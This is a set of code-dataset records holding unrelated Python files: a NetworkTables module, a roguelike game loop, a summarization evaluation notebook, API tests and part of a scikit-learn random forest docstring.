print(reverseWord(word))","sub_path":"amazon/reverseWord2.py","file_name":"reverseWord2.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"29905859","text":"from dataclasses import dataclass\n\nfrom networktables import NetworkTables\n\nfrom opsi.manager.manager_schema import Function, Hook\nfrom opsi.manager.netdict import NetworkDict\nfrom opsi.manager.types import AnyType\nfrom opsi.util.cv import Point\nfrom opsi.util.cv.mat import Color\nfrom opsi.util.networking import get_nt_server\nfrom opsi.util.unduplicator import Unduplicator\n\n__package__ = \"opsi.nt\"\n__version__ = \"0.123\"\n\n\nclass Manager:\n def __init__(self):\n self.keys = set()\n\n @classmethod\n def make_path(cls, settings):\n return settings.path + \"/\" + settings.key\n\n def add(self, settings):\n path = self.make_path(settings)\n\n if path in self.keys:\n raise ValueError(\"Cannot have duplicate path\")\n\n self.keys.add(path)\n\n def dispose(self, settings):\n self.keys.discard(self.make_path(settings))\n\n\nUndupeInstance = Unduplicator()\nHookInstance = Hook(visible=False)\n\n\ndef init_networktables():\n network = HookInstance.persist.network\n if network.nt_enabled:\n if network.nt_client:\n addr = get_nt_server(network)\n NetworkTables.startClient(addr)\n else:\n NetworkTables.startServer()\n\n\ndef deinit_networktables():\n if HookInstance.persist.network.nt_enabled:\n NetworkTables.shutdown()\n\n\nHookInstance.add_listener(\"startup\", init_networktables)\nHookInstance.add_listener(\"shutdown\", deinit_networktables)\n\n\nclass PutNT(Function):\n has_sideeffect = True\n\n @classmethod\n def validate_settings(cls, settings):\n settings.path = settings.path.strip()\n settings.key = settings.key.strip()\n\n if not settings.path.startswith(\"/\"):\n raise ValueError(\"You must have an absolute that starts with '/'\")\n\n if not settings.key:\n raise ValueError(\"Key cannot be empty\")\n\n if \"/\" in settings.key:\n raise ValueError(\"Key cannot have '/' in it\")\n\n return settings\n\n def on_start(self):\n self.validate_paths()\n self.table = NetworkDict(self.settings.path)\n\n def validate_paths(self):\n fullPath = (self.settings.path, self.settings.key)\n if not UndupeInstance.add(fullPath):\n raise ValueError(\"Cannot have duplicate NetworkTables paths\")\n\n @dataclass\n class Settings:\n path: str = \"/OpenSight\"\n key: str = \"\"\n\n @dataclass\n class Inputs:\n val: AnyType\n\n def run(self, inputs):\n self.table[self.settings.key] = inputs.val\n\n return self.Outputs()\n\n def dispose(self):\n fullPath = (self.settings.path, self.settings.key)\n UndupeInstance.remove(fullPath)\n\n\nclass PutCoordinate(PutNT):\n def validate_paths(self):\n x = (self.settings.path, f\"{self.settings.key}-x\")\n y = (self.settings.path, f\"{self.settings.key}-y\")\n xSuccess = UndupeInstance.add(x)\n ySuccess = UndupeInstance.add(y)\n if not xSuccess or not ySuccess:\n raise ValueError(\"Cannot have duplicate NetworkTables paths\")\n\n @dataclass\n class Inputs:\n val: Point\n\n def run(self, inputs):\n if inputs.val:\n x, y, *_ = inputs.val\n\n self.table[f\"{self.settings.key}-x\"] = x\n self.table[f\"{self.settings.key}-y\"] = y\n\n return self.Outputs()\n\n def dispose(self):\n x = (self.settings.path, f\"{self.settings.key}-x\")\n y = (self.settings.path, f\"{self.settings.key}-y\")\n UndupeInstance.remove(x)\n UndupeInstance.remove(y)\n\n\nclass GetNT(PutNT):\n def on_start(self):\n self.table = NetworkDict(self.settings.path)\n self.validate_paths()\n\n def validate_paths(self):\n try:\n val = self.table[self.settings.key]\n except KeyError:\n raise ValueError(f\"Key does {self.settings.key} not exist.\")\n\n @dataclass\n class Inputs:\n pass\n\n @dataclass\n class Outputs:\n val: AnyType = None\n\n def run(self, inputs):\n val = self.table.get(self.settings.key, None)\n if val is None:\n HookInstance.cancel_output(\"val\")\n return self.Outputs()\n\n return self.Outputs(val=val)\n\n\nclass PutColor(PutNT):\n def validate_paths(self):\n r = (self.settings.path, f\"{self.settings.key}-r\")\n g = (self.settings.path, f\"{self.settings.key}-g\")\n b = (self.settings.path, f\"{self.settings.key}-b\")\n r_success = UndupeInstance.add(r)\n g_success = UndupeInstance.add(g)\n b_success = UndupeInstance.add(b)\n if not (r_success and g_success and b_success):\n raise ValueError(\"Cannot have duplicate NetworkTables paths\")\n\n @dataclass\n class Inputs:\n val: Color\n\n def run(self, inputs):\n if inputs.val.all():\n red = inputs.val[\"red\"]\n green = inputs.val[\"green\"]\n blue = inputs.val[\"blue\"]\n\n self.table[f\"{self.settings.key}-r\"] = red\n self.table[f\"{self.settings.key}-g\"] = green\n self.table[f\"{self.settings.key}-b\"] = blue\n\n return self.Outputs()\n\n def dispose(self):\n r = (self.settings.path, f\"{self.settings.key}-r\")\n g = (self.settings.path, f\"{self.settings.key}-g\")\n b = (self.settings.path, f\"{self.settings.key}-b\")\n UndupeInstance.remove(r)\n UndupeInstance.remove(g)\n UndupeInstance.remove(b)\n","sub_path":"opsi/modules/nt.py","file_name":"nt.py","file_ext":"py","file_size_in_byte":5379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"517022477","text":"import custrender\r\nfrom random import choice\r\nfrom death_functions import kill_monster, kill_player\r\nfrom entity import get_blocking_entities_at_location\r\nfrom fov_functions import *\r\nfrom game_messages import Message\r\nfrom game_states import GameStates\r\nfrom map_utils.game_map import GameMap\r\nfrom input_handlers import handle_keys, handle_mouse, handle_main_menu\r\nfrom initialise_new_game import get_constants, get_game_variables\r\nfrom data_loaders import load_game, save_game, delete_char_save\r\nfrom menus import main_menu, message_box, target_overlay\r\nfrom render_functions import clear_all, render_all, entity_in_fov, entities_in_fov\r\nfrom random_utils import roll_dice\r\n\r\n\r\ndef main():\r\n libtcod.sys_set_fps(30)\r\n constants = get_constants()\r\n\r\n player = None\r\n entities = []\r\n game_map = None\r\n message_log = None\r\n show_main_menu = True\r\n show_load_error_message = False\r\n\r\n key = libtcod.Key()\r\n mouse = libtcod.Mouse()\r\n\r\n libtcod.console_set_custom_font('Fonts/terminal8x8_gs_ro.png', libtcod.FONT_TYPE_GRAYSCALE |\r\n libtcod.FONT_LAYOUT_ASCII_INROW)\r\n hp_bar = libtcod.console.Console(constants['stat_bar_width'], constants['stat_bar_height'])\r\n xp_bar = libtcod.console.Console(constants['stat_bar_width'], constants['stat_bar_height'])\r\n panel = libtcod.console.Console(constants['panel_width'], constants['panel_height'])\r\n main_menu_background_image = libtcod.image_load('sludge2.png')\r\n\r\n with libtcod.console_init_root(constants['root_width'], constants['root_height'],\r\n constants['window_title'], True, libtcod.RENDERER_SDL2, vsync=True) as root_console:\r\n while True:\r\n libtcod.sys_check_for_event(libtcod.EVENT_KEY_PRESS | libtcod.EVENT_MOUSE, key, mouse)\r\n\r\n if show_main_menu:\r\n main_menu(root_console, main_menu_background_image, constants['root_width'],\r\n constants['root_height'])\r\n\r\n if show_load_error_message:\r\n message_box(root_console, 'No save game to load', 50, constants['root_width'],\r\n constants['root_height'])\r\n\r\n custrender.clear((0, 0, 0))\r\n custrender.accumulate(root_console, custrender.get_viewport(root_console, True, True))\r\n custrender.present()\r\n root_console.clear(fg=(255, 255, 255))\r\n\r\n action = handle_main_menu(key)\r\n\r\n new_game = action.get('new_game')\r\n load_saved_game = action.get('load_game')\r\n exit_game = action.get('exit')\r\n\r\n if show_load_error_message and (new_game or load_saved_game or exit_game):\r\n show_load_error_message = False\r\n elif new_game:\r\n player, entities, game_map, message_log, game_state = get_game_variables(constants)\r\n game_state = GameStates.PLAYERS_TURN\r\n\r\n show_main_menu = False\r\n elif load_saved_game:\r\n try:\r\n player, entities, game_map, message_log, game_state = load_game()\r\n show_main_menu = False\r\n except FileNotFoundError:\r\n show_load_error_message = True\r\n elif exit_game:\r\n raise SystemExit()\r\n\r\n else:\r\n play_game(player, entities, game_map, message_log, root_console, panel, hp_bar, xp_bar, constants)\r\n\r\n show_main_menu = True\r\n\r\n\r\ndef play_game(player, entities, game_map, message_log, root_console, panel, hp_bar, xp_bar, constants):\r\n root_console.clear(fg=(255, 255, 255))\r\n fov_map = initialize_fov(game_map)\r\n fov_recompute = True\r\n\r\n key = libtcod.Key()\r\n mouse = libtcod.Mouse()\r\n\r\n game_state = GameStates.PLAYERS_TURN\r\n turn_number = 0\r\n turns_passed = 0\r\n start_turn = 0\r\n previous_game_state = game_state\r\n\r\n targeting_item = None\r\n exploring = False\r\n resting = False\r\n to_down_stairs = False\r\n\r\n while True:\r\n libtcod.sys_check_for_event(libtcod.EVENT_KEY_PRESS | libtcod.EVENT_MOUSE, key, mouse)\r\n\r\n if fov_recompute:\r\n recompute_fov(fov_map, player.x, player.y, constants['fov_radius'], constants['fov_light_walls'],\r\n constants['fov_algorithm'])\r\n render_all(root_console, panel, hp_bar, xp_bar, entities, player, game_map, fov_map, message_log,\r\n constants['root_width'], constants['root_height'], constants['game_window_width'],\r\n constants['game_window_height'], constants['panel_width'], constants['panel_height'],\r\n constants['stat_bar_width'], constants['stat_bar_height'], constants['fx_panel_width'],\r\n constants['fx_panel_height'], constants['camera_width'], constants['camera_height'],\r\n game_state, turn_number)\r\n fov_recompute = False\r\n custrender.clear((0, 0, 0))\r\n custrender.accumulate(root_console, custrender.get_viewport(root_console, True, True))\r\n custrender.present()\r\n clear_all(root_console, entities)\r\n\r\n action = handle_keys(key, game_state)\r\n mouse_action = handle_mouse(mouse)\r\n\r\n move = action.get('move')\r\n wait = action.get('wait')\r\n rest = action.get('rest')\r\n pickup = action.get('pickup')\r\n show_inventory = action.get('show_inventory')\r\n drop_inventory = action.get('drop_inventory')\r\n show_loadout = action.get('show_loadout')\r\n look = action.get('look')\r\n inventory_index = action.get('inventory_index')\r\n loadout_index = action.get('loadout_index')\r\n take_stairs = action.get('take_stairs')\r\n level_up = action.get('level_up')\r\n show_character_screen = action.get('show_character_screen')\r\n show_ability_screen = action.get('show_ability_screen')\r\n esc_menu = action.get('esc_menu')\r\n help = action.get('help')\r\n exit = action.get('exit')\r\n quit = action.get('quit')\r\n fullscreen = action.get('fullscreen')\r\n auto_explore = action.get('auto_explore')\r\n left_click = mouse_action.get('left_click')\r\n right_click = mouse_action.get('right_click')\r\n\r\n target_x = player.x\r\n target_y = player.y\r\n player_turn_results = []\r\n\r\n # For all actions that do not return to the main menu, recompute fov (prevents off-screen window drawing errors)\r\n if action != quit and action != fullscreen and not resting:\r\n fov_recompute = True\r\n root_console.clear(fg=(255, 255, 255))\r\n\r\n if move and game_state == GameStates.PLAYERS_TURN:\r\n if exploring:\r\n exploring = False\r\n previous_game_state = game_state\r\n message_log.add_message(Message('Autoexploration cancelled.', libtcod.yellow))\r\n elif resting:\r\n resting = False\r\n previous_game_state = game_state\r\n message_log.add_message(Message('You stop resting.', libtcod.yellow))\r\n elif to_down_stairs:\r\n to_down_stairs = False\r\n previous_game_state = game_state\r\n message_log.add_message(Message('You stop heading towards the stairs.', libtcod.yellow))\r\n\r\n dx, dy = move\r\n destination_x = player.x + dx\r\n destination_y = player.y + dy\r\n if not game_map.is_blocked(destination_x, destination_y):\r\n target = get_blocking_entities_at_location(entities, destination_x, destination_y)\r\n if target:\r\n attack_results = player.fighter.attack(target)\r\n player_turn_results.extend(attack_results)\r\n else:\r\n player.move(dx, dy, game_map)\r\n game_state = GameStates.ENEMY_TURN\r\n\r\n if auto_explore and game_state == GameStates.PLAYERS_TURN:\r\n if entities_in_fov(entities, fov_map, message_log):\r\n game_state = GameStates.PLAYERS_TURN\r\n elif GameMap.explore(game_map, player, message_log) is True:\r\n game_state = GameStates.ENEMY_TURN\r\n exploring = True\r\n else:\r\n exploring = False\r\n\r\n if exploring and game_state == GameStates.PLAYERS_TURN:\r\n if entities_in_fov(entities, fov_map, message_log):\r\n game_state = GameStates.PLAYERS_TURN\r\n exploring = False\r\n elif GameMap.explore(game_map, player, message_log) is True:\r\n game_state = GameStates.ENEMY_TURN\r\n exploring = True\r\n else:\r\n exploring = False\r\n\r\n elif wait:\r\n game_state = GameStates.ENEMY_TURN\r\n\r\n elif rest and game_state == GameStates.PLAYERS_TURN:\r\n if player.fighter.current_hp == player.fighter.base_max_hp:\r\n message_log.add_message(Message('You are already at full health.', libtcod.yellow))\r\n elif entity_in_fov(entities, fov_map):\r\n message_log.add_message(Message('You cannot rest when enemies are nearby.', libtcod.yellow))\r\n elif player.fighter.current_hp < player.fighter.base_max_hp:\r\n game_state = GameStates.ENEMY_TURN\r\n resting = True\r\n start_turn = turn_number\r\n else:\r\n resting = False\r\n\r\n if resting and game_state == GameStates.PLAYERS_TURN:\r\n if player.fighter.current_hp == player.fighter.base_max_hp:\r\n resting = False\r\n message_log.add_message(Message('You rest for {0} turns, returning to max HP.'.format(turns_passed),\r\n libtcod.yellow))\r\n elif entities_in_fov(entities, fov_map, message_log):\r\n message_log.add_message(Message('You rested for a total of {0} turns.'.format(turns_passed),\r\n libtcod.yellow))\r\n resting = False\r\n fov_recompute = True\r\n else:\r\n turns_passed = turn_number - start_turn\r\n game_state = GameStates.ENEMY_TURN\r\n\r\n elif pickup and game_state == GameStates.PLAYERS_TURN:\r\n for entity in entities:\r\n if entity.item and entity.x == player.x and entity.y == player.y:\r\n pickup_results = player.inventory.pick_up(player, entity)\r\n entities.remove(entity)\r\n player_turn_results.extend(pickup_results)\r\n break\r\n else:\r\n message_log.add_message(Message('There is nothing here to pick up.', libtcod.yellow))\r\n\r\n if show_inventory:\r\n previous_game_state = game_state\r\n game_state = GameStates.SHOW_INVENTORY\r\n\r\n if drop_inventory:\r\n previous_game_state = game_state\r\n game_state = GameStates.DROP_INVENTORY\r\n\r\n if inventory_index is not None and previous_game_state != GameStates.PLAYER_DEAD and inventory_index < len(\r\n player.inventory.inv_items):\r\n item = player.inventory.inv_items[inventory_index]\r\n\r\n if game_state == GameStates.SHOW_INVENTORY:\r\n player_turn_results.extend(player.inventory.use(player, item, entities=entities, fov_map=fov_map))\r\n elif game_state == GameStates.DROP_INVENTORY:\r\n player_turn_results.extend(player.inventory.drop_item(player, item))\r\n\r\n if show_loadout:\r\n previous_game_state = game_state\r\n game_state = GameStates.SHOW_LOADOUT\r\n\r\n if loadout_index is not None and previous_game_state != GameStates.PLAYER_DEAD and loadout_index < len(\r\n player.inventory.equip_items):\r\n item = player.inventory.equip_items[loadout_index]\r\n if game_state == GameStates.SHOW_LOADOUT:\r\n player_turn_results.extend(player.inventory.dequip(player, item))\r\n elif game_state == GameStates.DROP_INVENTORY:\r\n player_turn_results.extend(player.inventory.drop_item(player, item))\r\n\r\n if look:\r\n previous_game_state = game_state\r\n game_state = GameStates.LOOK\r\n\r\n if take_stairs and game_state == GameStates.PLAYERS_TURN:\r\n for entity in entities:\r\n if entity.stairs and entity.x == player.x and entity.y == player.y:\r\n entities = game_map.next_floor(player)\r\n fov_map = initialize_fov(game_map)\r\n message_log.add_message(Message(f'You descend to level {game_map.dungeon_level} of the '\r\n f'SludgeWorks...', libtcod.yellow))\r\n break\r\n else:\r\n if entities_in_fov(entities, fov_map, message_log):\r\n game_state = GameStates.PLAYERS_TURN\r\n elif GameMap.to_down_stairs(game_map, player, entities, message_log) is True:\r\n game_state = GameStates.ENEMY_TURN\r\n to_down_stairs = True\r\n\r\n if to_down_stairs and game_state == GameStates.PLAYERS_TURN:\r\n if entities_in_fov(entities, fov_map, message_log):\r\n game_state = GameStates.PLAYERS_TURN\r\n to_down_stairs = False\r\n elif GameMap.to_down_stairs(game_map, player, entities, message_log) is True:\r\n game_state = GameStates.ENEMY_TURN\r\n else:\r\n to_down_stairs = False\r\n\r\n if level_up:\r\n hit_dice = roll_dice(1, 8)\r\n player.fighter.level += 1\r\n player.fighter.base_max_hp += roll_dice(1, hit_dice + player.fighter.vitality_modifier)\r\n if level_up == 'str':\r\n player.fighter.base_strength += 1\r\n elif level_up == 'agi':\r\n player.fighter.base_dexterity += 1\r\n game_state = previous_game_state\r\n\r\n if show_character_screen:\r\n previous_game_state = game_state\r\n game_state = GameStates.CHARACTER_SCREEN\r\n\r\n if show_ability_screen:\r\n previous_game_state = game_state\r\n game_state = GameStates.ABILITY_SCREEN\r\n\r\n if game_state == GameStates.TARGETING:\r\n libtcod.console_wait_for_keypress(True)\r\n target_overlay(root_console, constants['game_window_width'], constants['game_window_height'], target_x,\r\n target_y)\r\n if move:\r\n dx, dy = move\r\n target_x += dx\r\n target_y += dy\r\n if left_click:\r\n target_x, target_y = left_click\r\n item_use_results = player.inventory.use(player, targeting_item, entities=entities, fov_map=fov_map,\r\n target_x=target_x, target_y=target_y)\r\n player_turn_results.extend(item_use_results)\r\n elif right_click:\r\n player_turn_results.append({'targeting_cancelled': True})\r\n\r\n if esc_menu:\r\n if exploring:\r\n exploring = False\r\n previous_game_state = game_state\r\n message_log.add_message(Message('Autoexploration cancelled.', libtcod.yellow))\r\n elif resting:\r\n resting = False\r\n previous_game_state = game_state\r\n message_log.add_message(Message('You stop resting.', libtcod.yellow))\r\n elif to_down_stairs:\r\n to_down_stairs = False\r\n previous_game_state = game_state\r\n message_log.add_message(Message('You stop heading towards the stairs.', libtcod.yellow))\r\n else:\r\n previous_game_state = game_state\r\n game_state = GameStates.ESC_MENU\r\n\r\n if help:\r\n game_state = GameStates.HELP_MENU\r\n\r\n if exit:\r\n if game_state == GameStates.TARGETING:\r\n player_turn_results.append({'targeting_cancelled': True})\r\n return True\r\n else:\r\n game_state = previous_game_state\r\n\r\n if quit and not game_state == GameStates.PLAYER_DEAD:\r\n save_game(player, entities, game_map, message_log, game_state)\r\n return True\r\n elif quit:\r\n delete_char_save()\r\n return True\r\n\r\n if fullscreen:\r\n libtcod.console_set_fullscreen(not libtcod.console_is_fullscreen())\r\n\r\n for player_turn_result in player_turn_results:\r\n message = player_turn_result.get('message')\r\n dead_entity = player_turn_result.get('dead')\r\n item_added = player_turn_result.get('item_added')\r\n item_consumed = player_turn_result.get('consumed')\r\n item_dropped = player_turn_result.get('item_dropped')\r\n equipped = player_turn_result.get('equipped')\r\n dequipped = player_turn_result.get('dequipped')\r\n targeting = player_turn_result.get('targeting')\r\n targeting_cancelled = player_turn_result.get('targeting_cancelled')\r\n xp = player_turn_result.get('xp')\r\n\r\n if message:\r\n message_log.add_message(message)\r\n\r\n if dead_entity:\r\n if dead_entity == player:\r\n message, game_state = kill_player(dead_entity)\r\n else:\r\n message = kill_monster(dead_entity, entities)\r\n message_log.add_message(message)\r\n\r\n if item_added or item_consumed or equipped or dequipped:\r\n game_state = GameStates.ENEMY_TURN\r\n\r\n if item_dropped:\r\n entities.append(item_dropped)\r\n game_state = GameStates.ENEMY_TURN\r\n\r\n if targeting:\r\n previous_game_state = GameStates.PLAYERS_TURN\r\n game_state = GameStates.TARGETING\r\n targeting_item = targeting\r\n message_log.add_message(targeting_item.item.targeting_message)\r\n\r\n if targeting_cancelled:\r\n game_state = previous_game_state\r\n message_log.add_message(Message('Targeting cancelled'))\r\n\r\n if xp:\r\n leveled_up = player.level.add_xp(xp)\r\n message_log.add_message(Message('You gain {0} experience points.'.format(xp)))\r\n if leveled_up:\r\n message_log.add_message(Message(\r\n 'You level up! You are now level {0}'.format(\r\n player.level.current_level) + '!', libtcod.yellow))\r\n previous_game_state = game_state\r\n game_state = GameStates.LEVEL_UP\r\n\r\n if game_state == GameStates.ENEMY_TURN:\r\n for entity in entities:\r\n if entity.name == 'Phosphorescent Dahlia' and entity_in_fov(entities, fov_map):\r\n # Cycle through colours for the phosphorescent dahlia\r\n dahlia_colour = [libtcod.light_azure, libtcod.azure, libtcod.dark_azure]\r\n entity.colour = choice(dahlia_colour)\r\n if entity.ai:\r\n if entity.regenerates:\r\n # Heal-over time effect for enemies that regenerate\r\n if turn_number % 4 == 0:\r\n if entity.fighter.current_hp < entity.fighter.base_max_hp:\r\n entity.fighter.current_hp += 1\r\n\r\n enemy_turn_results = entity.ai.take_turn(player, fov_map, game_map, entities)\r\n\r\n for enemy_turn_result in enemy_turn_results:\r\n message = enemy_turn_result.get('message')\r\n dead_entity = enemy_turn_result.get('dead')\r\n\r\n if message:\r\n message_log.add_message(message)\r\n\r\n if dead_entity:\r\n if dead_entity == player:\r\n message, game_state = kill_player(dead_entity)\r\n else:\r\n message = kill_monster(dead_entity, entities)\r\n\r\n message_log.add_message(message)\r\n\r\n if game_state == GameStates.PLAYER_DEAD:\r\n break\r\n if game_state == GameStates.PLAYER_DEAD:\r\n break\r\n\r\n else:\r\n # Heal-over time effect for the player\r\n if turn_number % 4 == 0:\r\n if player.fighter.current_hp < player.fighter.base_max_hp:\r\n player.fighter.current_hp += 1\r\n turn_number += 1\r\n game_state = GameStates.PLAYERS_TURN\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"sludgeWorks.py","file_name":"sludgeWorks.py","file_ext":"py","file_size_in_byte":21113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"485101009","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nfrom utils import config\nfrom utils.seq2seq import data\n\nfrom utils.seq2seq.batcher import *\nfrom utils.seq2seq.train_util import *\nfrom utils.seq2seq.rl_util import *\nfrom utils.seq2seq.initialize import loadCheckpoint, save_model\nfrom utils.seq2seq.write_result import *\nfrom datetime import datetime as dt\nfrom tqdm import tqdm\nfrom translate.seq2seq_beam import *\nfrom tensorboardX import SummaryWriter\nfrom utils.seq2seq.data import output2words\nimport argparse\nfrom utils.seq2seq.rl_util import *\nfrom torch.distributions import Categorical\n\nimport os\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"2\"\n\nos.environ['CUDA_LAUNCH_BLOCKING'] = \"1\" \n\nparser = argparse.ArgumentParser()\nparser.add_argument('--key_attention', type=bool, default=False, help = 'True/False')\nparser.add_argument('--intra_encoder', type=bool, default=True, help = 'True/False')\nparser.add_argument('--intra_decoder', type=bool, default=True, help = 'True/False')\nparser.add_argument('--copy', type=bool, default=True, help = 'True/False') # for transformer\n\nparser.add_argument('--model_type', type=str, default='seq2seq', choices=['seq2seq', 'transformer'])\nparser.add_argument('--train_rl', type=bool, default=True, help = 'True/False')\nparser.add_argument('--keywords', type=str, default='Noun_adj_keys', \n help = 'POS_keys / DEP_keys / Noun_adj_keys / TextRank_keys')\n\nparser.add_argument('--lr', type=float, default=0.0001)\nparser.add_argument('--rand_unif_init_mag', type=float, default=0.02)\nparser.add_argument('--trunc_norm_init_std', type=float, default=0.001)\nparser.add_argument('--mle_weight', type=float, default=1.0)\nparser.add_argument('--gound_truth_prob', type=float, default=0.1)\n\nparser.add_argument('--max_enc_steps', type=int, default=1000)\nparser.add_argument('--max_dec_steps', type=int, default=50)\nparser.add_argument('--min_dec_steps', type=int, default=8)\nparser.add_argument('--max_epochs', type=int, default=10)\nparser.add_argument('--vocab_size', type=int, default=50000)\nparser.add_argument('--beam_size', type=int, default=16)\nparser.add_argument('--batch_size', type=int, default=8)\n\nparser.add_argument('--hidden_dim', type=int, default=512)\nparser.add_argument('--emb_dim', type=int, default=300)\nparser.add_argument('--gradient_accum', type=int, default=1)\n\nparser.add_argument('--load_ckpt', type=str, default='0378000', help='0002000')\nparser.add_argument('--word_emb_type', type=str, default='word2Vec', help='word2Vec/glove/FastText')\nparser.add_argument('--pre_train_emb', type=bool, default=True)\n\nopt = parser.parse_args(args=[])\nconfig = re_config(opt)\n# loggerName, writerPath = getName(config) \nloggerName = 'lead-Top'\nwriterPath = 'runs/%s/%s/exp'% (config.data_type, loggerName)\nif not os.path.exists(writerPath): os.makedirs(writerPath)\nlogger = getLogger(loggerName)\n# writer = SummaryWriter(writerPath)\nwriter = None\n\n\n# In[2]:\n\n\ntrain_loader, validate_loader, vocab = getDataLoader(logger, config)\ntrain_batches = len(iter(train_loader))\ntest_batches = len(iter(validate_loader))\nsave_steps = int(train_batches/1000)*1000\n\n\n# In[5]:\n\n\nimport pandas as pd\nimport time\nfrom utils.seq2seq.write_result import total_evaulate, total_output\n\n# from nltk.translate.bleu_score import sentence_bleu\n# from nltk.translate.meteor_score import single_meteor_score\n\n@torch.autograd.no_grad()\ndef decode_write_all(writer, logger, epoch, config, model, dataloader, mode):\n # 動態取batch\n num = len(dataloader)\n outFrame = None\n avg_time = 0\n total_scores = dict() \n idx = 0 \n for _, batch in enumerate(dataloader):\n start = time.time() \n article_sents = [article for article in batch.original_article]\n ref_sents = [ref for ref in batch.original_abstract ]\n decoded_sents = [article.split(\" . \")[0] for article in article_sents]\n \n keywords_list = [str(word_list) for word_list in batch.key_words]\n cost = (time.time() - start)\n avg_time += cost \n try:\n # rouge_1, rouge_2, rouge_l, self_Bleu_1, self_Bleu_2, self_Bleu_3, self_Bleu_4, Bleu_1, Bleu_2, Bleu_3, Bleu_4, Meteor, batch_frame = total_evaulate(article_sents, keywords_list, decoded_sents, ref_sents)\n multi_scores, batch_frame = total_evaulate(article_sents, keywords_list, decoded_sents, ref_sents)\n review_IDS = [review_ID for review_ID in batch.review_IDS]\n batch_frame['review_ID'] = review_IDS \n except Exception as e :\n continue\n \n if idx %1000 ==0 and idx >0 : \n print(idx); \n if idx == 0: \n outFrame = batch_frame; \n total_scores = multi_scores\n else: \n outFrame = pd.concat([outFrame, batch_frame], axis=0, ignore_index=True) \n for key, scores in total_scores.items():\n scores.extend(multi_scores[key])\n total_scores[key] = scores\n idx += 1\n # ---------------------------------------------------- \n avg_time = avg_time / (num * config.batch_size) \n \n scalar_acc = {}\n num = 0\n for key, scores in total_scores.items():\n num = len(scores)\n scalar_acc[key] = sum(scores)/len(scores)\n\n total_output(0, mode, writerPath, outFrame, avg_time, num , scalar_acc\n )\n return scalar_acc['rouge_l_f'], outFrame\n\n\n# In[6]:\n\n\nepoch = 0\nmodel = None\n# model \n# train_avg_acc, train_outFrame = decode_write_all(writer, logger, epoch, config, model, train_loader, mode = 'train')\nlogger.info('-----------------------------------------------------------')\ntest_avg_acc, test_outFrame = decode_write_all(writer, logger, epoch, config, model, validate_loader, mode = 'test')\nlogger.info('epoch %d: test_avg_acc = %f' % (epoch, test_avg_acc))\n\n# !ipython nbconvert --to script Pointer_generator.ipynb\n# train_outFrame.head()\ntest_outFrame.head()\nremoveLogger(logger)\n\n\n# In[7]:\n\n\ntest_outFrame.head()\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"Summarize_parallel/LEAD_TOP_TEST.py","file_name":"LEAD_TOP_TEST.py","file_ext":"py","file_size_in_byte":6001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"24748570","text":"import json\nfrom api_methods.home.get_request import GetApiReq\nfrom api_pages.home.get_api_pages import GetApiPages\n\n\nclass ApiTests:\n\n def list_users(self, url):\n # API URI\n response = GetApiReq.get_method(url)\n\n # verify api response code to be 200\n tc_res_one = GetApiPages.verify_status_codes(response.status_code)\n assert True == tc_res_one\n\n # verify total pages to be appropriate\n # parse response to JSON format\n json_response = json.loads(response.text)\n tc_res_two = GetApiPages.verify_total_pages(json_response)\n assert True == tc_res_two\n\n # verify email displayed in the response is appropriate\n tc_res_three = GetApiPages.verify_email(json_response)\n assert True == tc_res_three","sub_path":"api_tests/home/get_users_list.py","file_name":"get_users_list.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"113683875","text":"# Authors: Grzegorz Kulakowski \n# Gilles Louppe \n# Brian Holt \n# Joly Arnaud \n# Fares Hedayati \n#\n# License: BSD 3 clause\n\nfrom sklearn.ensemble.forest import ForestClassifier\nfrom sklearn.tree import DecisionTreeClassifier\n\n\nclass RandomForestClassifier(ForestClassifier):\n \"\"\"A random forest classifier.\n\n A random forest is a meta estimator that fits a number of decision tree\n classifiers on various sub-samples of the dataset and use averaging to\n improve the predictive accuracy and control over-fitting.\n The sub-sample size is always the same as the original\n input sample size but the samples are drawn with replacement if\n `bootstrap=True` (default).\n\n Read more in the :ref:`User Guide `.\n\n Parameters\n ----------\n n_estimators : integer, optional (default=10)\n The number of trees in the forest.\n\n criterion : string, optional (default=\"gini\")\n The function to measure the quality of a split. Supported criteria are\n \"gini\" for the Gini impurity and \"entropy\" for the information gain.\n Note: this parameter is tree-specific.\n\n max_features : int, float, string or None, optional (default=\"auto\")\n The number of features to consider when looking for the best split:\n\n - If int, then consider `max_features` features at each split.\n - If float, then `max_features` is a percentage and\n `int(max_features * n_features)` features are considered at each\n split.\n - If \"auto\", then `max_features=sqrt(n_features)`.\n - If \"sqrt\", then `max_features=sqrt(n_features)` (same as \"auto\").\n - If \"log2\", then `max_features=log2(n_features)`.\n - If None, then `max_features=n_features`.\n\n Note: the search for a split does not stop until at least one\n valid partition of the node samples is found, even if it requires to\n effectively inspect more than ``max_features`` features.\n Note: this parameter is tree-specific.\n\n max_depth : integer or None, optional (default=None)\n The maximum depth of the tree. If None, then nodes are expanded until\n all leaves are pure or until all leaves contain less than\n min_samples_split samples.\n Ignored if ``max_leaf_nodes`` is not None.\n Note: this parameter is tree-specific.\n\n min_samples_split : integer, optional (default=2)\n The minimum number of samples required to split an internal node.\n Note: this parameter is tree-specific.\n\n min_samples_leaf : integer, optional (default=1)\n The minimum number of samples in newly created leaves. A split is\n discarded if after the split, one of the leaves would contain less then\n ``min_samples_leaf`` samples.\n Note: this parameter is tree-specific.\n\n min_weight_fraction_leaf : float, optional (default=0.)\n The minimum weighted fraction of the input samples required to be at a\n leaf node.\n Note: this parameter is tree-specific.\n\n max_leaf_nodes : int or None, optional (default=None)\n Grow trees with ``max_leaf_nodes`` in best-first fashion.\n Best nodes are defined as relative reduction in impurity.\n If None then unlimited number of leaf nodes.\n If not None then ``max_depth`` will be ignored.\n Note: this parameter is tree-specific.\n\n bootstrap : boolean, optional (default=True)\n Whether bootstrap samples are used when building trees.\n\n oob_score : bool\n Whether to use out-of-bag samples to estimate\n the generalization 